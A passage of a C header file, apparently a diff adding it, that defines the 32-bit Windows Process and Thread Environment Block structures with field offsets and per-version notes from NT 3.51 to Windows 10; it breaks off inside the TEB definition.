(SpareBits) erroneously used two bits instead of one; +// this caused the bitfield to occupy an extra byte to fit 9 bits; this member has been fixed and now occupies 1 bit. +// credit: Chris Eagle +// +// 2018-05-02: -now can be compiled alongside windows.h (without changes) or by defining WANT_ALL_WINDOWS_H_DEFINITIONS so this file can be used standalone +// -this file may also be included alongside tebpeb64.h which can be found at http://bytepointer.com/resources/tebpeb64.h +// -increased PEB size to 0x258 for [at least] Windows 10: member addition dwSystemCallMode at offset 0x254 +// REFERENCE: https://www.malwaretech.com/2015/07/windows-10-system-call-stub-changes.html +// +// 2017-07-29: initial public release (first stable version) +// + +//disable some Visual C++ warnings +#ifdef _MSC_VER +//when compiling as C +#pragma warning (disable:4214) //Warning Level 4: C4214: nonstandard extension used : bit field types other than int + +//"#pragma pack(1)" not needed as Microsoft has designed all structure members to be on natural boundaries + +#ifndef STDCALL +#define STDCALL __stdcall +#endif +#ifndef CDECL +#define CDECL __cdecl +#endif +#else +//assume GCC +#ifndef STDCALL +#define STDCALL __attribute__ ((stdcall)) +#endif +#ifndef CDECL +#define CDECL __attribute__ ((cdecl)) +#endif +#endif + +#include +//UNCOMMENT line below if you are not including windows.h +//#define WANT_ALL_WINDOWS_H_DEFINITIONS +#ifdef WANT_ALL_WINDOWS_H_DEFINITIONS + + +// +// Base types +// + +typedef unsigned char BYTE; +typedef char CHAR; +typedef unsigned short WORD; +typedef short INT16; +typedef unsigned long DWORD; +typedef long INT32; +typedef BYTE BOOLEAN; +typedef void* HANDLE; +typedef WORD WCHAR; +typedef DWORD LCID; +typedef DWORD KAFFINITY; + +#endif //#ifdef WANT_ALL_WINDOWS_H_DEFINITIONS + + +//always declare NTSTATUS and 64-bit types +//typedef INT32 NTSTATUS; + +#ifdef _MSC_VER +//Visual C++ +typedef unsigned __int64 QWORD; +typedef __int64 INT64; +#else +//GCC +typedef unsigned long long QWORD; +typedef long long INT64; +#endif + + +#ifdef WANT_ALL_WINDOWS_H_DEFINITIONS + +// +// General-purpose structures +// + +typedef union _LARGE_INTEGER +{ + struct + { + DWORD LowPart; + INT32 HighPart; + } u; + INT64 QuadPart; +} LARGE_INTEGER; + +typedef union _ULARGE_INTEGER +{ + struct + { + DWORD LowPart; + DWORD HighPart; + } u; + QWORD QuadPart; +} ULARGE_INTEGER; + +typedef struct _GUID +{ + DWORD Data1; + WORD Data2; + WORD Data3; + BYTE Data4[8]; +} GUID; + +typedef struct LIST_ENTRY LIST_ENTRY; +struct LIST_ENTRY +{ + LIST_ENTRY* Flink; + LIST_ENTRY* Blink; +}; + +typedef struct RTL_CRITICAL_SECTION RTL_CRITICAL_SECTION; + +typedef struct _RTL_CRITICAL_SECTION_DEBUG +{ + WORD Type; + WORD CreatorBackTraceIndex; + RTL_CRITICAL_SECTION* CriticalSection; + LIST_ENTRY ProcessLocksList; + DWORD EntryCount; + DWORD ContentionCount; + DWORD Flags; + WORD CreatorBackTraceIndexHigh; + WORD SpareUSHORT; +} RTL_CRITICAL_SECTION_DEBUG; + +struct RTL_CRITICAL_SECTION +{ + RTL_CRITICAL_SECTION_DEBUG* DebugInfo; + INT32 LockCount; + INT32 RecursionCount; + HANDLE OwningThread; + HANDLE LockSemaphore; + DWORD SpinCount; +}; +#endif //WANT_ALL_WINDOWS_H_DEFINITIONS + + +typedef struct _CLIENT_ID +{ + DWORD ProcessId; + DWORD ThreadId; +} CLIENT_ID; + +/* +typedef struct _PROCESSOR_NUMBER +{ + WORD Group; + BYTE Number; + BYTE Reserved; +} PROCESSOR_NUMBER; +*/ + +typedef struct _STRING +{ + WORD Length; + WORD MaximumLength; + CHAR* Buffer; +} STRING; + +typedef struct _UNICODE_STRING +{ + WORD Length; + WORD MaximumLength; + WCHAR* Buffer; +} UNICODE_STRING; + + +// +// Exception-specific structures and definitions +// + +//context flags +//#define CONTEXT_i386 0x00010000 // this assumes that i386 and +//#define CONTEXT_i486 0x00010000 // i486 have identical context records +//#define CONTEXT_CONTROL (CONTEXT_i386 | 0x00000001L) // SS:SP, CS:IP, FLAGS, BP +//#define CONTEXT_INTEGER (CONTEXT_i386 | 0x00000002L) // AX, BX, CX, DX, SI, DI +//#define CONTEXT_SEGMENTS (CONTEXT_i386 | 0x00000004L) // DS, ES, FS, GS +//#define CONTEXT_FLOATING_POINT (CONTEXT_i386 | 0x00000008L) // 387 state +//#define CONTEXT_DEBUG_REGISTERS (CONTEXT_i386 | 0x00000010L) // DB 0-3,6,7 +//#define CONTEXT_EXTENDED_REGISTERS (CONTEXT_i386 | 0x00000020L) // cpu specific extensions +//#define CONTEXT_FULL (CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_SEGMENTS) +//#define CONTEXT_ALL (CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_SEGMENTS | CONTEXT_FLOATING_POINT | CONTEXT_DEBUG_REGISTERS | CONTEXT_EXTENDED_REGISTERS) + +//exception flags +#define EXCEPTION_NONCONTINUABLE 0x1 // Noncontinuable exception +#define EXCEPTION_UNWINDING 0x2 // Unwind is in progress; same as EH_UNWINDING +#define EXCEPTION_EXIT_UNWIND 0x4 // Exit unwind is in progress; same as EH_EXIT_UNWIND +#define EXCEPTION_STACK_INVALID 0x8 // Stack out of limits or unaligned +#define EXCEPTION_NESTED_CALL 0x10 // Nested exception handler call +#define EXCEPTION_TARGET_UNWIND 0x20 // Target unwind in progress +#define EXCEPTION_COLLIDED_UNWIND 0x40 // Collided exception handler call +#define EXCEPTION_UNWIND (EXCEPTION_UNWINDING | EXCEPTION_EXIT_UNWIND | EXCEPTION_TARGET_UNWIND | EXCEPTION_COLLIDED_UNWIND) +#define IS_UNWINDING(Flag) ((Flag & EXCEPTION_UNWIND) != 0) +#define IS_DISPATCHING(Flag) ((Flag & EXCEPTION_UNWIND) == 0) +#define IS_TARGET_UNWIND(Flag) (Flag & EXCEPTION_TARGET_UNWIND) + +//msvc exception filter expression return codes +#define EXCEPTION_EXECUTE_HANDLER 1 //same as FILTER_ACCEPT +#define EXCEPTION_CONTINUE_SEARCH 0 //same as FILTER_CONTINUE_SEARCH +//#define EXCEPTION_CONTINUE_EXECUTION -1 //same as FILTER_DISMISS + +#ifdef WANT_ALL_WINDOWS_H_DEFINITIONS + +//exception handler (disposition) return values +typedef enum _EXCEPTION_DISPOSITION +{ + ExceptionContinueExecution, //0; same as DISPOSITION_DISMISS, _XCPT_CONTINUE_EXECUTION + ExceptionContinueSearch, //1; same as DISPOSITION_CONTINUE_SEARCH, _XCPT_CONTINUE_SEARCH + ExceptionNestedException, //2; same as DISPOSITION_NESTED_EXCEPTION + ExceptionCollidedUnwind //3; same as DISPOSITION_COLLIDED_UNWIND +} EXCEPTION_DISPOSITION; + +#define EXCEPTION_MAXIMUM_PARAMETERS 15 +typedef struct EXCEPTION_RECORD EXCEPTION_RECORD; +struct EXCEPTION_RECORD //size=0x50 +{ + DWORD ExceptionCode; //0x00 + DWORD ExceptionFlags; //0x04 - see possible values above + EXCEPTION_RECORD* ExceptionRecord; //0x08 + void* ExceptionAddress; //0x0C + DWORD NumberParameters; //0x10 + DWORD ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS]; //0x14 +}; + +#define SIZE_OF_80387_REGISTERS 80 +typedef struct _FLOATING_SAVE_AREA //size=0x70 +{ + DWORD ControlWord; //0x00 + DWORD StatusWord; //0x04 + DWORD TagWord; //0x08 + DWORD ErrorOffset; //0x0C + DWORD ErrorSelector; //0x10 + DWORD DataOffset; //0x14 + DWORD DataSelector; //0x18 + BYTE RegisterArea[SIZE_OF_80387_REGISTERS]; //0x1C + DWORD Cr0NpxState; //0x6C +} FLOATING_SAVE_AREA; + +#define MAXIMUM_SUPPORTED_EXTENSION 512 +typedef struct _CONTEXT //size=0x2CC +{ + //determines which groups of members are valid + DWORD ContextFlags; //0x00 - see possible values above + //following member group valid when CONTEXT_DEBUG_REGISTERS set + DWORD Dr0; //0x04 + DWORD Dr1; //0x08 + DWORD Dr2; //0x0C + DWORD Dr3; //0x10 + DWORD Dr6; //0x14 + DWORD Dr7; //0x18 + //following member valid when CONTEXT_FLOATING_POINT set + FLOATING_SAVE_AREA FloatSave; //0x1C + //following member group valid when CONTEXT_SEGMENTS set + DWORD SegGs; //0x8C + DWORD SegFs; //0x90 + DWORD SegEs; //0x94 + DWORD SegDs; //0x98 + //following member group valid when CONTEXT_INTEGER set + DWORD Edi; //0x9C + DWORD Esi; //0xA0 + DWORD Ebx; //0xA4 + DWORD Edx; //0xA8 + DWORD Ecx; //0xAC + DWORD Eax; //0xB0 + //following member group valid when CONTEXT_CONTROL set + DWORD Ebp; //0xB4 + DWORD Eip; //0xB8 + DWORD SegCs; //0xBC + DWORD EFlags; //0xC0 + DWORD Esp; //0xC4 + DWORD SegSs; //0xC8 + //following member valid when CONTEXT_EXTENDED_REGISTERS set + BYTE ExtendedRegisters[MAXIMUM_SUPPORTED_EXTENSION]; //0xCC +} CONTEXT; + +//used with UnhandledExceptionFilter()/SetUnhandledExceptionFilter() and newer Vectored Exception handling functions +typedef struct _EXCEPTION_POINTERS +{ + EXCEPTION_RECORD* ExceptionRecord; + CONTEXT* ContextRecord; +} EXCEPTION_POINTERS; + +#endif //WANT_ALL_WINDOWS_H_DEFINITIONS + +typedef struct EXCEPTION_REGISTRATION EXCEPTION_REGISTRATION; + +//dispatcher context is reserved for exception handler implementation (e.g. compilers) +typedef struct _DISPATCHER_CONTEXT_und +{ + EXCEPTION_REGISTRATION* RegistrationPointer; +} DISPATCHER_CONTEXT_und; + +//exception handler signatures +typedef EXCEPTION_DISPOSITION(CDECL* ExceptionHandler)(EXCEPTION_RECORD* ExceptionRecord, EXCEPTION_REGISTRATION* EstablisherFrame, CONTEXT* ContextRecord, DISPATCHER_CONTEXT_und* DispatcherContext); //same as EXCEPTION_ROUTINE and _except_handler +typedef INT32(STDCALL* TopLevelExceptionFilter)(EXCEPTION_POINTERS* ExceptionInfo); //same as TOP_LEVEL_EXCEPTION_FILTER for SetUnhandledExceptionFilter(); +typedef INT32(STDCALL* VectoredExceptionHandler)(EXCEPTION_POINTERS* ExceptionInfo); //same as PVECTORED_EXCEPTION_HANDLER and above signature used with AddVectoredExceptionHandler(), RemoveVectoredExceptionHandler() for XP/WS03 and up + + //stack exception frame a.k.a. EXCEPTION_REGISTRATION_RECORD +struct EXCEPTION_REGISTRATION +{ + EXCEPTION_REGISTRATION* prev; + ExceptionHandler* handler; +}; +#define EXCEPTION_CHAIN_END ((EXCEPTION_REGISTRATION*)-1) + + +// +// PEB-specific structures +// + +//forward declarations for unknown structures +typedef struct _ACTIVATION_CONTEXT_DATA { void* dummy; } ACTIVATION_CONTEXT_DATA; //XP and up +typedef struct _ASSEMBLY_STORAGE_MAP { void* dummy; } ASSEMBLY_STORAGE_MAP; //XP and up +typedef struct _FLS_CALLBACK_INFO { void* dummy; } FLS_CALLBACK_INFO; //WS03 and up + +typedef struct _RTL_DRIVE_LETTER_CURDIR +{ + WORD Flags; + WORD Length; + DWORD TimeStamp; + STRING DosPath; +} RTL_DRIVE_LETTER_CURDIR; + +typedef struct _PEB_LDR_DATA +{ + DWORD Length; //0x00 + BYTE Initialized[4]; //0x04 + void* SsHandle; //0x08 + LIST_ENTRY InLoadOrderModuleList; //0x0C + LIST_ENTRY InMemoryOrderModuleList; //0x14 + LIST_ENTRY InInitializationOrderModuleList; //0x1C + void* EntryInProgress; //0x24 +} PEB_LDR_DATA; + +typedef struct PEB_FREE_BLOCK PEB_FREE_BLOCK; +struct PEB_FREE_BLOCK +{ + PEB_FREE_BLOCK* Next; + DWORD Size; +}; + +typedef struct _RTL_USER_PROCESS_PARAMETERS +{ + DWORD MaximumLength; //0x00 + DWORD Length; //0x04 + DWORD Flags; //0x08 + DWORD DebugFlags; //0x0C + void* ConsoleHandle; //0x10 + DWORD ConsoleFlags; //0x14 + HANDLE StdInputHandle; //0x18 + HANDLE StdOutputHandle; //0x1C + HANDLE StdErrorHandle; //0x20 + UNICODE_STRING CurrentDirectoryPath; //0x24 + HANDLE CurrentDirectoryHandle; //0x2C + UNICODE_STRING DllPath; //0x30 + UNICODE_STRING ImagePathName; //0x38 + UNICODE_STRING CommandLine; //0x40 + void* Environment; //0x48 + DWORD StartingPositionLeft; //0x4C + DWORD StartingPositionTop; //0x50 + DWORD Width; //0x54 + DWORD Height; //0x58 + DWORD CharWidth; //0x5C + DWORD CharHeight; //0x60 + DWORD ConsoleTextAttributes; //0x64 + DWORD WindowFlags; //0x68 + DWORD ShowWindowFlags; //0x6C + UNICODE_STRING WindowTitle; //0x70 + UNICODE_STRING DesktopName; //0x78 + UNICODE_STRING ShellInfo; //0x80 + UNICODE_STRING RuntimeData; //0x88 + RTL_DRIVE_LETTER_CURDIR DLCurrentDirectory[0x20]; //0x90 +} RTL_USER_PROCESS_PARAMETERS; + +// +// PEB (Process Environment Block) 32-bit +// +// The size of this structure is OS dependent: +// 0x0098 NT 3.51 +// 0x0150 NT 4.0 +// 0x01E8 Win2k +// 0x020C XP +// 0x0230 WS03 +// 0x0238 Vista +// 0x0240 Win7_BETA +// 0x0248 Win6 +// 0x0250 Win8 +// 0x045C Win10 +// +typedef struct _PEB +{ + BOOLEAN InheritedAddressSpace; //0x0000 + BOOLEAN ReadImageFileExecOptions; //0x0001 + BOOLEAN BeingDebugged; //0x0002 + union + { + BOOLEAN SpareBool; //0x0003 (NT3.51-late WS03) + struct + { + BYTE ImageUsesLargePages : 1; //0x0003:0 (WS03_SP1+) + BYTE IsProtectedProcess : 1; //0x0003:1 (Vista+) + BYTE IsLegacyProcess : 1; //0x0003:2 (Vista+) + BYTE IsImageDynamicallyRelocated : 1; //0x0003:3 (Vista+) + BYTE SkipPatchingUser32Forwarders : 1; //0x0003:4 (Vista_SP1+) + BYTE IsPackagedProcess : 1; //0x0003:5 (Win8_BETA+) + BYTE IsAppContainer : 1; //0x0003:6 (Win8_RTM+) + BYTE SpareBit : 1; //0x0003:7 + } bits; + } byte3; + HANDLE Mutant; //0x0004 + void* ImageBaseAddress; //0x0008 + PEB_LDR_DATA* Ldr; //0x000C (all loaded modules in process) + RTL_USER_PROCESS_PARAMETERS* ProcessParameters; //0x0010 + void* SubSystemData; //0x0014 + void* ProcessHeap; //0x0018 + RTL_CRITICAL_SECTION* FastPebLock; //0x001C + union + { + void* FastPebLockRoutine; //0x0020 (NT3.51-Win2k) + void* SparePtr1; //0x0020 (early WS03) + void* AtlThunkSListPtr; //0x0020 (late WS03+) + } dword20; + union + { + void* FastPebUnlockRoutine; //0x0024 (NT3.51-XP) + void* SparePtr2; //0x0024 (WS03) + void* IFEOKey; //0x0024 (Vista+) + } dword24; + union + { + DWORD EnvironmentUpdateCount; //0x0028 (NT3.51-WS03) + struct + { + DWORD ProcessInJob : 1; //0x0028:0 (Vista+) + DWORD ProcessInitializing : 1; //0x0028:1 (Vista+) + DWORD ProcessUsingVEH : 1; //0x0028:2 (Vista_SP1+) + DWORD ProcessUsingVCH : 1; //0x0028:3 (Vista_SP1+) + DWORD ProcessUsingFTH : 1; //0x0028:4 (Win7_BETA+) + DWORD ReservedBits0 : 27; //0x0028:5 (Win7_BETA+) + } vista_CrossProcessFlags; + } struct28; + union + { + void* KernelCallbackTable; //0x002C (Vista+) + void* UserSharedInfoPtr; //0x002C (Vista+) + } dword2C; + DWORD SystemReserved; //0x0030 (NT3.51-XP) + //Microsoft seems to keep changing their mind with DWORD 0x34 + union + { + DWORD SystemReserved2; //0x0034 (NT3.51-Win2k) + struct + { + DWORD ExecuteOptions : 2; //0x0034:0 (XP-early WS03) + DWORD SpareBits : 30; //0x0034:2 (XP-early WS03) + } xpBits; + DWORD AtlThunkSListPtr32; //0x0034 (late XP,Win7+) + DWORD SpareUlong; //0x0034 (late WS03-Vista) + struct + { + DWORD HeapTracingEnabled : 1; //0x0034:0 (Win7_BETA) + DWORD CritSecTracingEnabled : 1; //0x0034:1 (Win7_BETA) + DWORD SpareTracingBits : 30; //0x0034:2 (Win7_BETA) + } win7_TracingFlags; + } dword34; + union + { + PEB_FREE_BLOCK* FreeList; //0x0038 (NT3.51-early Vista) + DWORD SparePebPtr0; //0x0038 (last Vista) + void* ApiSetMap; //0x0038 (Win7+) + } dword38; + DWORD TlsExpansionCounter; //0x003C + void* TlsBitmap; //0x0040 + DWORD TlsBitmapBits[2]; //0x0044 + void* ReadOnlySharedMemoryBase; //0x004C + union + { + void* ReadOnlyShareMemoryHeap; //0x0050 (NT3.51-WS03) + void* HotpatchInformation; //0x0050 (Vista+) + } dword50; + void** ReadOnlyStaticServerData; //0x0054 + void* AnsiCodePageData; //0x0058 + void* OemCodePageData; //0x005C + void* UnicodeCaseTableData; //0x0060 + DWORD NumberOfProcessors; //0x0064 + DWORD NtGlobalFlag; //0x0068 + LARGE_INTEGER CriticalSectionTimeout; //0x0070 + DWORD HeapSegmentReserve; //0x0078 + DWORD HeapSegmentCommit; //0x007C + DWORD HeapDeCommitTotalFreeThreshold; //0x0080 + DWORD HeapDeCommitFreeBlockThreshold; //0x0084 + DWORD NumberOfHeaps; //0x0088 + DWORD MaximumNumberOfHeaps; //0x008C + void** ProcessHeaps; //0x0090 + void* GdiSharedHandleTable; //0x0094 + + //end of NT 3.51 members / members that follow available on NT 4.0 and up + + void* ProcessStarterHelper; //0x0098 + DWORD GdiDCAttributeList; //0x009C + union + { + struct + { + void* LoaderLock; //0x00A0 (NT4) + } nt4; + struct + { + RTL_CRITICAL_SECTION* LoaderLock; //0x00A0 (Win2k+) + } win2k; + } dwordA0; + DWORD OSMajorVersion; //0x00A4 + DWORD OSMinorVersion; //0x00A8 + WORD OSBuildNumber; //0x00AC + WORD OSCSDVersion; //0x00AE + DWORD OSPlatformId; //0x00B0 + DWORD ImageSubsystem; //0x00B4 + DWORD ImageSubsystemMajorVersion; //0x00B8 + DWORD ImageSubsystemMinorVersion; //0x00BC + union + { + KAFFINITY ImageProcessAffinityMask; //0x00C0 (NT4-early Vista) + KAFFINITY ActiveProcessAffinityMask; //0x00C0 (late Vista+) + } dwordC0; + DWORD GdiHandleBuffer[0x22]; //0x00C4 + void* PostProcessInitRoutine; //0x014C / void (*PostProcessInitRoutine) (void); + + //members that follow available on Windows 2000 and up + + void* TlsExpansionBitmap; //0x0150 + DWORD TlsExpansionBitmapBits[0x20]; //0x0154 + DWORD SessionId; //0x01D4 + ULARGE_INTEGER AppCompatFlags; //0x01D8 + ULARGE_INTEGER AppCompatFlagsUser; //0x01E0 + void* pShimData; //0x01E8 + void* AppCompatInfo; //0x01EC + UNICODE_STRING CSDVersion; //0x01F0 + + //members that follow available on Windows XP and up + + ACTIVATION_CONTEXT_DATA* ActivationContextData; //0x01F8 + ASSEMBLY_STORAGE_MAP* ProcessAssemblyStorageMap; //0x01FC + ACTIVATION_CONTEXT_DATA* SystemDefaultActivationContextData; //0x0200 + ASSEMBLY_STORAGE_MAP* SystemAssemblyStorageMap; //0x0204 + DWORD MinimumStackCommit; //0x0208 + + //members that follow available on Windows Server 2003 and up + + FLS_CALLBACK_INFO* FlsCallback; //0x020C + LIST_ENTRY FlsListHead; //0x0210 + void* FlsBitmap; //0x0218 + DWORD FlsBitmapBits[4]; //0x021C + DWORD FlsHighIndex; //0x022C + + //members that follow available on Windows Vista and up + + void* WerRegistrationData; //0x0230 + void* WerShipAssertPtr; //0x0234 + + //members that follow available on Windows 7 BETA and up + + union + { + void* pContextData; //0x0238 (prior to Windows 8) + void* pUnused; //0x0238 (Windows 8) + } dword238; + void* pImageHeaderHash; //0x023C + + //members that follow available on Windows 7 RTM and up + + struct //TracingFlags + { + DWORD HeapTracingEnabled : 1; //0x0240:0 + DWORD CritSecTracingEnabled : 1; //0x0240:1 + DWORD LibLoaderTracingEnabled : 1; //0x0240:2 + DWORD SpareTracingBits : 29; //0x0240:3 + } dword240; + DWORD dummy02; //0x0244 + + //members that follow available on Windows 8 and up + QWORD CsrServerReadOnlySharedMemoryBase; //0x0248 + + //members that follow available on Windows 10 and up + DWORD TppWorkerpListLock; //0x0250 + union //conflicting reports about what 0x254 points to + { + LIST_ENTRY TppWorkerpList; //0x0254 + DWORD dwSystemCallMode; //0x0254 / set to 2 under 64-bit Windows in a 32-bit process (WOW64) + } dword254; + void* WaitOnAddressHashTable[128]; //0x025C + +} PEB; + + +// +// TEB-specific structures +// + +//GDI_TEB_BATCH - size=0x04E0 +typedef struct _GDI_TEB_BATCH +{ + union + { + DWORD Offset; + struct + { + DWORD Offset : 31; //0x00:00 Win 8.1 Update 1+ + DWORD HasRenderingCommand : 1; //0x00:31 Win 8.1 Update 1+ + } bits; + } dword0; + DWORD HDC; + DWORD Buffer[0x136]; +} GDI_TEB_BATCH; + +typedef struct _TEB_ACTIVE_FRAME_CONTEXT +{ + DWORD Flags; + CHAR* FrameName; +} TEB_ACTIVE_FRAME_CONTEXT; + +typedef struct TEB_ACTIVE_FRAME TEB_ACTIVE_FRAME; +struct TEB_ACTIVE_FRAME +{ + DWORD Flags; + TEB_ACTIVE_FRAME* Previous; + TEB_ACTIVE_FRAME_CONTEXT* Context; +}; + +// +// TEB (Thread Environment Block) a.k.a. TIB (Thread Information Block) 32-bit +// +// The size of this structure is OS dependent: +// 0x0F28 NT 3.51 +// 0x0F88 NT 4.0 +// 0x0FA4 Win2k +// 0x0FB4 prior to XP SP2 +// 0x0FB8 XP SP2/WS03+ +// 0x0FBC WS03 SP1+ +// 0x0FF8 Vista/WS08 +// 0x0FE4 Win7/WS08 R2 +// 0x0FE8 Win8-Win8.1/WS12 +// 0x1000 Win10 +// +typedef struct TEB +{ + //NT_TIB structure portion + EXCEPTION_REGISTRATION* ExceptionList; //0x0000 / Current Structured Exception Handling (SEH) frame + void* StackBase; //0x0004 / Bottom of stack (high address) + void* StackLimit; //0x0008 / Ceiling of stack (low address) + void* SubSystemTib; //0x000C + union + { + void* FiberData; //0x0010 + DWORD Version; //0x0010 + } dword10; + void* ArbitraryUserPointer; //0x0014 + struct TEB* Self; //0x0018 + //NT_TIB ends (NT subsystem independent part) + + void* EnvironmentPointer; //0x001C + CLIENT_ID ClientId; //0x0020 + // ClientId.ProcessId //0x0020 / value retrieved by GetCurrentProcessId() + // ClientId.ThreadId //0x0024 / value retrieved by GetCurrentThreadId() + void* ActiveRpcHandle; //0x0028 + void* ThreadLocalStoragePointer; //0x002C + PEB* ProcessEnvironmentBlock; //0x0030 + DWORD LastErrorValue; //0x0034 + DWORD CountOfOwnedCriticalSections; //0x0038 + void* CsrClientThread; //0x003C + void* Win32ThreadInfo; //0x0040 + DWORD User32Reserved[0x1A]; //0x0044 + DWORD UserReserved[5]; //0x00AC + void* WOW32Reserved; //0x00C0 / user-mode 32-bit (WOW64) -> 64-bit context switch function prior to kernel-mode transition + LCID CurrentLocale; //0x00C4 + DWORD FpSoftwareStatusRegister; //0x00C8 + union + { + DWORD SystemReserved1[0x36]; //0x00CC (NT 3.51-Win8) + struct + { + DWORD Reserved1[0x16]; //0x00CC + void* pKThread; //0x0124 / pointer to KTHREAD (ETHREAD) structure + DWORD Reserved2[0x1F]; //0x0128 + } kernelInfo; + struct + { + DWORD ReservedForDebuggerInstrumentation[0x10]; //0x00CC (Win10 PRE-RTM+) + DWORD SystemReserved1[0x26]; //0x010C (Win10 PRE-RTM+) + } win10; + } dwordCC; + NTSTATUS ExceptionCode; //0x01A4 + union + { + BYTE SpareBytes1[0x2C]; //0x01A8 (NT3.51-Win2k) + struct + { + BYTE ActivationContextStack[0x14]; //0x01A8 (XP-early WS03) + BYTE SpareBytes1[0x18]; //0x01BC (XP-early WS03) + } xp; + struct + { + void* ActivationContextStackPointer; //0x01A8 (WS03+) + union + { + BYTE SpareBytes1[0x24]; //0x01AC (WS03-Win8.1) + struct + { + void* InstrumentationCallbackSp; //0x01AC (Win10+) + void* InstrumentationCallbackPreviousPc; //0x01B0 (Win10+) + void* InstrumentationCallbackPreviousSp; //0x01B4 (Win10+) + BOOLEAN InstrumentationCallbackDisabled; //0x01B8 (Win10+) + BYTE SpareBytes[0x17]; //0x01B9 (Win10+) + } win10; + } dword1AC; + union + { + BYTE SpareBytes2[4]; //0x01D0 (WS03) + DWORD TxFsContext; //0x01D0 (Vista+) + } dword1D0; + } lateWs03; + } dword1A8; + GDI_TEB_BATCH GdiTebBatch; //0x01D4 + CLIENT_ID RealClientId; //0x06B4 + HANDLE GdiCachedProcessHandle; //0x06BC + DWORD GdiClientPID; //0x06C0 + DWORD GdiClientTID; //0x06C4 + void* GdiThreadLocalInfo; //0x06C8 + DWORD Win32ClientInfo[0x3E]; //0x06CC + void* glDispatchTable[0xE9]; //0x07C4 + DWORD glReserved1[0x1D]; //0x0B68 + void* glReserved2; //0x0BDC + void* glSectionInfo; //0x0BE0 + void* glSection; //0x0BE4 + void* glTable; //0x0BE8 + void* glCurrentRC; //0x0BEC + void* glContext; //0x0BF0 + NTSTATUS LastStatusValue; //0x0BF4 + UNICODE_STRING StaticUnicodeString; //0x0BF8 + WCHAR StaticUnicodeBuffer[0x105]; //0x0C00 + void* DeallocationStack; //0x0E0C + void* TlsSlots[0x40]; //0x0E10 + LIST_ENTRY TlsLinks; //0x0F10 + void* Vdm; //0x0F18 + void* ReservedForNtRpc; //0x0F1C + void* DbgSsReserved[2]; //0x0F20 + + //end of NT 3.51 members / members that follow available on NT 4.0 and up + + union + { + DWORD ThreadErrorMode; //0x0F28 (OS?) / RtlSetThreadErrorMode + DWORD HardErrorsAreDisabled; //0x0F28 (NT4-XP) + DWORD HardErrorMode; //0x0F28 (WS03+) + } dwordF28; + union + { + struct + { + DWORD Instrumentation[0x10]; //0x0F2C (NT4-early WS03) + } nt; + struct + { + union + { + struct + { + DWORD Instrumentation[0x0E]; //0x0F2C (late WS03+) + void* SubProcessTag; //0x0F64 (late WS03+) + } beforeVista; + struct + { + DWORD Instrumentation[9]; //0x0F2C (Vista+) + GUID ActivityId; //0x0F50 (Vista+) + void* SubProcessTag; //0x0F60 (Vista+) + union + { + DWORD EtwLocalData; //0x0F64 (WIN8 PRE-RTM) + DWORD PerflibData; //0x0F64 (WIN8 RTM+) + } win8; + + } vista; + } dwordF2C; + void* EtwTraceData; //0x0F68 (late WS03+) + } ws03; + } dwordF2C; + void* WinSockData; //0x0F6C + DWORD GdiBatchCount; //0x0F70 + union + { + struct + { + union + { + struct + { + BOOLEAN InDbgPrint; //0x0F74 (NT4-WS03) + BOOLEAN FreeStackOnTermination; //0x0F75 (NT4-WS03) + BOOLEAN HasFiberData; //0x0F76 (NT4-WS03) + } beforeVista; + union + { + BOOLEAN SpareBool0; //0x0F74 (Vista) + BOOLEAN SpareBool1; //0x0F75 (Vista) + BOOLEAN SpareBool2; //0x0F76 (Vista) + } vista; + } u; + BOOLEAN IdealProcessor; //0x0F77 (NT4-Vista) + } beforeWin7; + PROCESSOR_NUMBER CurrentIdealProcessor; //0x0F74 (Win7+) + } dwordF74; + union + { + DWORD Spare3; //0x0F78 (NT4-early WS03) + DWORD GuaranteedStackBytes; //0x0F78 (late WS03+) + } dwordF78; + void* ReservedForPerf; //0x0F7C + void* ReservedForOle; //0x0F80 + DWORD WaitingOnLoaderLock; //0x0F84 + + //members that follow available on Windows 2000 and up + + union + { + struct + { + //Wx86ThreadState structure + DWORD* CallBx86Eip; //0x0F88 (Win2k-early WS03) + void* DeallocationCpu; //0x0F8C (Win2k-early WS03) + BYTE UseKnownWx86Dll; //0x0F90 (Win2k-early WS03) + CHAR OleStubInvoked; //0x0F91 (Win2k-early WS03) + BYTE Padding[2]; //0x0F92 + } beforeLateWs03; + struct + { + union + { + void* SparePointer1; //0x0F88 (late WS03) + void* SavedPriorityState; //0x0F88 (Vista+) + } dwordF88; + union + { + void* SoftPatchPtr1; //0x0F8C (late WS03-Win7) + void* ReservedForCodeCoverage; //0x0F8C (Win8+) + } dwordF8C; + union + { + void* SoftPatchPtr2; //0x0F90 (late WS03) + void* ThreadPoolData; //0x0F90 (Vista+) + } dwordF90; + } lateWs03; + } dwordF88; + void* TlsExpansionSlots; //0x0F94 + union + { + LCID ImpersonationLocale; //0x0F98 (Win2k-Vista) + DWORD MuiGeneration; //0x0F98 (Win7+) + } dwordF98; + DWORD IsImpersonating; //0x0F9C + void* NlsCache; //0x0FA0 + + //members that follow available on Windows XP and up + + void* pShimData; //0x0FA4 + union + { + DWORD HeapVirtualAffinity; //0x0FA8 (XP-Win7) + struct + { + WORD HeapVirtualAffinity; //0x0FA8 (Win8+) + WORD LowFragHeapDataSlot; //0x0FAA (Win8+) + } win8; + } dwordFA8; + HANDLE CurrentTransactionHandle; //0x0FAC + TEB_ACTIVE_FRAME* ActiveFrame; //0x0FB0 + + //members that follow available on Windows XP SP2 and up + + union + { + void* FlsData; //0x0FB4 (WS03+) + struct + { + BOOLEAN SafeThunkCall; //0x0FB4 (XP SP2) + BOOLEAN BooleanSpare[3]; //0x0FB5 (XP SP2) + } xpSp2; + } dwordFB4; + union + { + struct + { + BOOLEAN SafeThunkCall; //0x0FB8 (late WS03) + BOOLEAN BooleanSpare[3]; //0x0FB9 (late WS03) + } ws03; + void* PreferredLanguages; //0x0FB8 (Vista+) + } dwordFB8; + + //members that follow available on Windows Vista and up + + void* UserPrefLanguages; //0x0FBC + void* MergedPrefLanguages; //0x0FC0 + DWORD MuiImpersonation; //0x0FC4 + union + { + volatile WORD CrossTebFlags; //0x0FC8 + struct + { + WORD SpareCrossTebBits : 16; //0x0FC8 + } bits; + } wordFC8; + union + { + WORD SameTebFlags; //0x0FCA + struct + { + WORD SafeThunkCall : 1; //0x0FCA:0x00 + WORD InDebugPrint : 1; //0x0FCA:0x01 + WORD HasFiberData : 1; //0x0FCA:0x02 + WORD SkipThreadAttach : 1; //0x0FCA:0x03 + WORD WerInShipAssertCode : 1; 